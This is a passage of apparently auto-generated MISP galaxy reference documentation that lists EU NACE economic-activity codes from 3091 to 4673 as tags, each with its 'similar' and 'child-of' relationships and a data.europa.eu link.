- similar: misp-galaxy:NACE="3091" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3091" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3091" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3091" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12466. Table References

Links

http://data.europa.eu/ux2/nace2/3100

3211

The tag is: *misp-galaxy:NACE="3211"*

View relationships graph

3211 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12467. Table References

Links
http://data.europa.eu/ux2/nace2/3211

3212

The tag is: *misp-galaxy:NACE="3212"*

View relationships graph

3212 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12468. Table References

Links
http://data.europa.eu/ux2/nace2/3212

3213

The tag is: *misp-galaxy:NACE="3213"*

View relationships graph

3213 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12469. Table References

Links
http://data.europa.eu/ux2/nace2/3213

3220

The tag is: *misp-galaxy:NACE="3220"*

View relationships graph

3220 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12470. Table References

Links
http://data.europa.eu/ux2/nace2/3220

3230

The tag is: *misp-galaxy:NACE="3230"*

View relationships graph

3230 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12471. Table References

Links
http://data.europa.eu/ux2/nace2/3230

3240

The tag is: *misp-galaxy:NACE="3240"*

View relationships graph

3240 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12472. Table References

Links
http://data.europa.eu/ux2/nace2/3240

3250

The tag is: *misp-galaxy:NACE="3250"*

View relationships graph

3250 has relationships with:

- similar: misp-galaxy:NACE="3299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12473. Table References

Links
http://data.europa.eu/ux2/nace2/3250

3291

The tag is: *misp-galaxy:NACE="3291"*

View relationships graph

3291 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12474. Table References

Links
http://data.europa.eu/ux2/nace2/3291

3299

The tag is: *misp-galaxy:NACE="3299"*

View relationships graph

3299 has relationships with:

- similar: misp-galaxy:NACE="2790" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3230" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12475. Table References

Links
http://data.europa.eu/ux2/nace2/3299

3311

The tag is: *misp-galaxy:NACE="3311"*

View relationships graph

3311 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12476. Table References

Links
http://data.europa.eu/ux2/nace2/3311

3312

The tag is: *misp-galaxy:NACE="3312"*

View relationships graph

3312 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12477. Table References

Links
http://data.europa.eu/ux2/nace2/3312

3313

The tag is: *misp-galaxy:NACE="3313"*

View relationships graph

3313 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12478. Table References

Links
http://data.europa.eu/ux2/nace2/3313

3314

The tag is: *misp-galaxy:NACE="3314"*

View relationships graph

3314 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12479. Table References

Links

http://data.europa.eu/ux2/nace2/3314

3315

The tag is: *misp-galaxy:NACE="3315"*

View relationships graph

3315 has relationships with:

- similar: misp-galaxy:NACE="3312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12480. Table References

Links
http://data.europa.eu/ux2/nace2/3315

3316

The tag is: *misp-galaxy:NACE="3316"*

View relationships graph

3316 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12481. Table References

Links
http://data.europa.eu/ux2/nace2/3316

3317

The tag is: *misp-galaxy:NACE="3317"*

View relationships graph

3317 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12482. Table References

Links
http://data.europa.eu/ux2/nace2/3317

3318

The tag is: *misp-galaxy:NACE="3318"*

View relationships graph

3318 has relationships with:

- similar: misp-galaxy:NACE="3040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3315" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3316" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12483. Table References

Links
http://data.europa.eu/ux2/nace2/3318

3319

The tag is: *misp-galaxy:NACE="3319"*

View relationships graph

3319 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12484. Table References

Links
http://data.europa.eu/ux2/nace2/3319

3320

The tag is: *misp-galaxy:NACE="3320"*

View relationships graph

3320 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12485. Table References

Links
http://data.europa.eu/ux2/nace2/3320

3511

The tag is: *misp-galaxy:NACE="3511"*

View relationships graph

3511 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12486. Table References

Links
http://data.europa.eu/ux2/nace2/3511

3512

The tag is: *misp-galaxy:NACE="3512"*

View relationships graph

3512 has relationships with:

- similar: misp-galaxy:NACE="3511" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12487. Table References

Links
http://data.europa.eu/ux2/nace2/3512

3513

The tag is: *misp-galaxy:NACE="3513"*

View relationships graph

3513 has relationships with:

- similar: misp-galaxy:NACE="3512" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12488. Table References

Links
http://data.europa.eu/ux2/nace2/3513

3514

The tag is: *misp-galaxy:NACE="3514"*

View relationships graph

3514 has relationships with:

- similar: misp-galaxy:NACE="3513" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12489. Table References

Links
http://data.europa.eu/ux2/nace2/3514

3515

The tag is: *misp-galaxy:NACE="3515"*

View relationships graph

3515 has relationships with:

- similar: misp-galaxy:NACE="3514" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12490. Table References

Links
http://data.europa.eu/ux2/nace2/3515

3516

The tag is: *misp-galaxy:NACE="3516"*

View relationships graph

3516 has relationships with:

- similar: misp-galaxy:NACE="3514" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12491. Table References

Links
http://data.europa.eu/ux2/nace2/3516

3521

The tag is: *misp-galaxy:NACE="3521"*

View relationships graph

3521 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12492. Table References

Links
http://data.europa.eu/ux2/nace2/3521

3522

The tag is: *misp-galaxy:NACE="3522"*

View relationships graph

3522 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12493. Table References

Links
http://data.europa.eu/ux2/nace2/3522

3523

The tag is: *misp-galaxy:NACE="3523"*

View relationships graph

3523 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12494. Table References

Links
http://data.europa.eu/ux2/nace2/3523

3524

The tag is: *misp-galaxy:NACE="3524"*

View relationships graph

3524 has relationships with:

- similar: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12495. Table References

Links
http://data.europa.eu/ux2/nace2/3524

3530

The tag is: *misp-galaxy:NACE="3530"*

View relationships graph

3530 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12496. Table References

Links
http://data.europa.eu/ux2/nace2/3530

3540

The tag is: *misp-galaxy:NACE="3540"*

View relationships graph

3540 has relationships with:

- similar: misp-galaxy:NACE="3514" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3523" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12497. Table References

Links
http://data.europa.eu/ux2/nace2/3540

3600

The tag is: *misp-galaxy:NACE="3600"*

View relationships graph

3600 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12498. Table References

Links
http://data.europa.eu/ux2/nace2/3600

3700

The tag is: *misp-galaxy:NACE="3700"*

View relationships graph

3700 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12499. Table References

Links
http://data.europa.eu/ux2/nace2/3700

3811

The tag is: *misp-galaxy:NACE="3811"*

View relationships graph

3811 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12500. Table References

Links
http://data.europa.eu/ux2/nace2/3811

3812

The tag is: *misp-galaxy:NACE="3812"*

View relationships graph

3812 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12501. Table References

Links

http://data.europa.eu/ux2/nace2/3812

3821

The tag is: *misp-galaxy:NACE="3821"*

View relationships graph

3821 has relationships with:

- similar: misp-galaxy:NACE="3831" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3832" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12502. Table References

Links
http://data.europa.eu/ux2/nace2/3821

3822

The tag is: *misp-galaxy:NACE="3822"*

View relationships graph

3822 has relationships with:

- similar: misp-galaxy:NACE="3821" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12503. Table References

Links
http://data.europa.eu/ux2/nace2/3822

3823

The tag is: *misp-galaxy:NACE="3823"*

View relationships graph

3823 has relationships with:

- similar: misp-galaxy:NACE="3821" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3822" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12504. Table References

Links
http://data.europa.eu/ux2/nace2/3823

3831

The tag is: *misp-galaxy:NACE="3831"*

View relationships graph

3831 has relationships with:

- similar: misp-galaxy:NACE="3821" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3822" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12505. Table References

Links
http://data.europa.eu/ux2/nace2/3831

3832

The tag is: *misp-galaxy:NACE="3832"*

View relationships graph

3832 has relationships with:

- similar: misp-galaxy:NACE="3821" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3822" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12506. Table References

Links
http://data.europa.eu/ux2/nace2/3832

3833

The tag is: *misp-galaxy:NACE="3833"*

View relationships graph

3833 has relationships with:

- similar: misp-galaxy:NACE="3821" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="3822" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12507. Table References

Links
http://data.europa.eu/ux2/nace2/3833

3900

The tag is: *misp-galaxy:NACE="3900"*

View relationships graph

3900 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12508. Table References

Links
http://data.europa.eu/ux2/nace2/3900

4100

The tag is: *misp-galaxy:NACE="4100"*

View relationships graph

4100 has relationships with:

- similar: misp-galaxy:NACE="3822" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12509. Table References

Links
http://data.europa.eu/ux2/nace2/4100

4211

The tag is: *misp-galaxy:NACE="4211"*

View relationships graph

4211 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12510. Table References

Links
http://data.europa.eu/ux2/nace2/4211

4212

The tag is: *misp-galaxy:NACE="4212"*

View relationships graph

4212 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12511. Table References

Links
http://data.europa.eu/ux2/nace2/4212

4213

The tag is: *misp-galaxy:NACE="4213"*

View relationships graph

4213 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12512. Table References

Links
http://data.europa.eu/ux2/nace2/4213

4221

The tag is: *misp-galaxy:NACE="4221"*

View relationships graph

4221 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12513. Table References

Links
http://data.europa.eu/ux2/nace2/4221

4222

The tag is: *misp-galaxy:NACE="4222"*

View relationships graph

4222 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12514. Table References

Links
http://data.europa.eu/ux2/nace2/4222

4291

The tag is: *misp-galaxy:NACE="4291"*

View relationships graph

4291 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12515. Table References

Links
http://data.europa.eu/ux2/nace2/4291

4299

The tag is: *misp-galaxy:NACE="4299"*

View relationships graph

4299 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12516. Table References

Links
http://data.europa.eu/ux2/nace2/4299

4311

The tag is: *misp-galaxy:NACE="4311"*

View relationships graph

4311 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12517. Table References

Links
http://data.europa.eu/ux2/nace2/4311

4312

The tag is: *misp-galaxy:NACE="4312"*

View relationships graph

4312 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12518. Table References

Links
http://data.europa.eu/ux2/nace2/4312

4313

The tag is: *misp-galaxy:NACE="4313"*

View relationships graph

4313 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12519. Table References

Links
http://data.europa.eu/ux2/nace2/4313

4321

The tag is: *misp-galaxy:NACE="4321"*

View relationships graph

4321 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12520. Table References

Links
http://data.europa.eu/ux2/nace2/4321

4322

The tag is: *misp-galaxy:NACE="4322"*

View relationships graph

4322 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12521. Table References

Links
http://data.europa.eu/ux2/nace2/4322

4323

The tag is: *misp-galaxy:NACE="4323"*

View relationships graph

4323 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12522. Table References

Links
http://data.europa.eu/ux2/nace2/4323

4324

The tag is: *misp-galaxy:NACE="4324"*

View relationships graph

4324 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12523. Table References

Links
http://data.europa.eu/ux2/nace2/4324

4331

The tag is: *misp-galaxy:NACE="4331"*

View relationships graph

4331 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12524. Table References

Links
http://data.europa.eu/ux2/nace2/4331

4332

The tag is: *misp-galaxy:NACE="4332"*

View relationships graph

4332 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12525. Table References

Links
http://data.europa.eu/ux2/nace2/4332

4333

The tag is: *misp-galaxy:NACE="4333"*

View relationships graph

4333 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12526. Table References

Links
http://data.europa.eu/ux2/nace2/4333

4334

The tag is: *misp-galaxy:NACE="4334"*

View relationships graph

4334 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12527. Table References

Links
http://data.europa.eu/ux2/nace2/4334

4335

The tag is: *misp-galaxy:NACE="4335"*

View relationships graph

4335 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12528. Table References

Links
http://data.europa.eu/ux2/nace2/4335

4341

The tag is: *misp-galaxy:NACE="4341"*

View relationships graph

4341 has relationships with:

- similar: misp-galaxy:NACE="4391" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12529. Table References

Links
http://data.europa.eu/ux2/nace2/4341

4342

The tag is: *misp-galaxy:NACE="4342"*

View relationships graph

4342 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12530. Table References

Links
http://data.europa.eu/ux2/nace2/4342

4350

The tag is: *misp-galaxy:NACE="4350"*

View relationships graph

4350 has relationships with:

- similar: misp-galaxy:NACE="4211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12531. Table References

Links
http://data.europa.eu/ux2/nace2/4350

4360

The tag is: *misp-galaxy:NACE="4360"*

View relationships graph

4360 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12532. Table References

Links
http://data.europa.eu/ux2/nace2/4360

4391

The tag is: *misp-galaxy:NACE="4391"*

View relationships graph

4391 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12533. Table References

Links
http://data.europa.eu/ux2/nace2/4391

4399

The tag is: *misp-galaxy:NACE="4399"*

View relationships graph

4399 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12534. Table References

Links
http://data.europa.eu/ux2/nace2/4399

4611

The tag is: *misp-galaxy:NACE="4611"*

View relationships graph

4611 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12535. Table References

Links
http://data.europa.eu/ux2/nace2/4611

4612

The tag is: *misp-galaxy:NACE="4612"*

View relationships graph

4612 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12536. Table References

Links
http://data.europa.eu/ux2/nace2/4612

4613

The tag is: *misp-galaxy:NACE="4613"*

View relationships graph

4613 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12537. Table References

Links
http://data.europa.eu/ux2/nace2/4613

4614

The tag is: *misp-galaxy:NACE="4614"*

View relationships graph

4614 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12538. Table References

Links
http://data.europa.eu/ux2/nace2/4614

4615

The tag is: *misp-galaxy:NACE="4615"*

View relationships graph

4615 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12539. Table References

Links
http://data.europa.eu/ux2/nace2/4615

4616

The tag is: *misp-galaxy:NACE="4616"*

View relationships graph

4616 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12540. Table References

Links
http://data.europa.eu/ux2/nace2/4616

4617

The tag is: *misp-galaxy:NACE="4617"*

View relationships graph

4617 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12541. Table References

Links
http://data.europa.eu/ux2/nace2/4617

4618

The tag is: *misp-galaxy:NACE="4618"*

View relationships graph

4618 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12542. Table References

Links
http://data.europa.eu/ux2/nace2/4618

4619

The tag is: *misp-galaxy:NACE="4619"*

View relationships graph

4619 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12543. Table References

Links
http://data.europa.eu/ux2/nace2/4619

4621

The tag is: *misp-galaxy:NACE="4621"*

View relationships graph

4621 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12544. Table References

Links
http://data.europa.eu/ux2/nace2/4621

4622

The tag is: *misp-galaxy:NACE="4622"*

View relationships graph

4622 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12545. Table References

Links
http://data.europa.eu/ux2/nace2/4622

4623

The tag is: *misp-galaxy:NACE="4623"*

View relationships graph

4623 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12546. Table References

Links
http://data.europa.eu/ux2/nace2/4623

4624

The tag is: *misp-galaxy:NACE="4624"*

View relationships graph

4624 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12547. Table References

Links
http://data.europa.eu/ux2/nace2/4624

4631

The tag is: *misp-galaxy:NACE="4631"*

View relationships graph

4631 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12548. Table References

Links
http://data.europa.eu/ux2/nace2/4631

4632

The tag is: *misp-galaxy:NACE="4632"*

View relationships graph

4632 has relationships with:

- similar: misp-galaxy:NACE="4638" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12549. Table References

Links
http://data.europa.eu/ux2/nace2/4632

4633

The tag is: *misp-galaxy:NACE="4633"*

View relationships graph

4633 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12550. Table References

Links
http://data.europa.eu/ux2/nace2/4633

4634

The tag is: *misp-galaxy:NACE="4634"*

View relationships graph

4634 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12551. Table References

Links
http://data.europa.eu/ux2/nace2/4634

4635

The tag is: *misp-galaxy:NACE="4635"*

View relationships graph

4635 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12552. Table References

Links
http://data.europa.eu/ux2/nace2/4635

4636

The tag is: *misp-galaxy:NACE="4636"*

View relationships graph

4636 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12553. Table References

Links
http://data.europa.eu/ux2/nace2/4636

4637

The tag is: *misp-galaxy:NACE="4637"*

View relationships graph

4637 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12554. Table References

Links
http://data.europa.eu/ux2/nace2/4637

4638

The tag is: *misp-galaxy:NACE="4638"*

View relationships graph

4638 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12555. Table References

Links
http://data.europa.eu/ux2/nace2/4638

4639

The tag is: *misp-galaxy:NACE="4639"*

View relationships graph

4639 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12556. Table References

Links
http://data.europa.eu/ux2/nace2/4639

4641

The tag is: *misp-galaxy:NACE="4641"*

View relationships graph

4641 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12557. Table References

Links
http://data.europa.eu/ux2/nace2/4641

4642

The tag is: *misp-galaxy:NACE="4642"*

View relationships graph

4642 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12558. Table References

Links
http://data.europa.eu/ux2/nace2/4642

4643

The tag is: *misp-galaxy:NACE="4643"*

View relationships graph

4643 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12559. Table References

Links
http://data.europa.eu/ux2/nace2/4643

4644

The tag is: *misp-galaxy:NACE="4644"*

View relationships graph

4644 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12560. Table References

Links
http://data.europa.eu/ux2/nace2/4644

4645

The tag is: *misp-galaxy:NACE="4645"*

View relationships graph

4645 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12561. Table References

Links
http://data.europa.eu/ux2/nace2/4645

4646

The tag is: *misp-galaxy:NACE="4646"*

View relationships graph

4646 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12562. Table References

Links
http://data.europa.eu/ux2/nace2/4646

4647

The tag is: *misp-galaxy:NACE="4647"*

View relationships graph

4647 has relationships with:

- similar: misp-galaxy:NACE="4638" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12563. Table References

Links
http://data.europa.eu/ux2/nace2/4647

4648

The tag is: *misp-galaxy:NACE="4648"*

View relationships graph

4648 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12564. Table References

Links
http://data.europa.eu/ux2/nace2/4648

4649

The tag is: *misp-galaxy:NACE="4649"*

View relationships graph

4649 has relationships with:

- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12565. Table References

Links
http://data.europa.eu/ux2/nace2/4649

4650

The tag is: *misp-galaxy:NACE="4650"*

View relationships graph

4650 has relationships with:

- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12566. Table References

Links
http://data.europa.eu/ux2/nace2/4650

4661

The tag is: *misp-galaxy:NACE="4661"*

View relationships graph

4661 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12567. Table References

Links
http://data.europa.eu/ux2/nace2/4661

4662

The tag is: *misp-galaxy:NACE="4662"*

View relationships graph

4662 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12568. Table References

Links
http://data.europa.eu/ux2/nace2/4662

4663

The tag is: *misp-galaxy:NACE="4663"*

View relationships graph

4663 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12569. Table References

Links
http://data.europa.eu/ux2/nace2/4663

4664

The tag is: *misp-galaxy:NACE="4664"*

View relationships graph

4664 has relationships with:

- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12570. Table References

Links
http://data.europa.eu/ux2/nace2/4664

4671

The tag is: *misp-galaxy:NACE="4671"*

View relationships graph

4671 has relationships with:

- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12571. Table References

Links
http://data.europa.eu/ux2/nace2/4671

4672

The tag is: *misp-galaxy:NACE="4672"*

View relationships graph

4672 has relationships with:

- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12572. Table References

Links
http://data.europa.eu/ux2/nace2/4672

4673

The tag is: *misp-galaxy:NACE="4673"*

View relationships graph

4673 has relationships with:

- similar: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12573. Table References

Links
http://data.europa.eu/ux2/nace2/4673

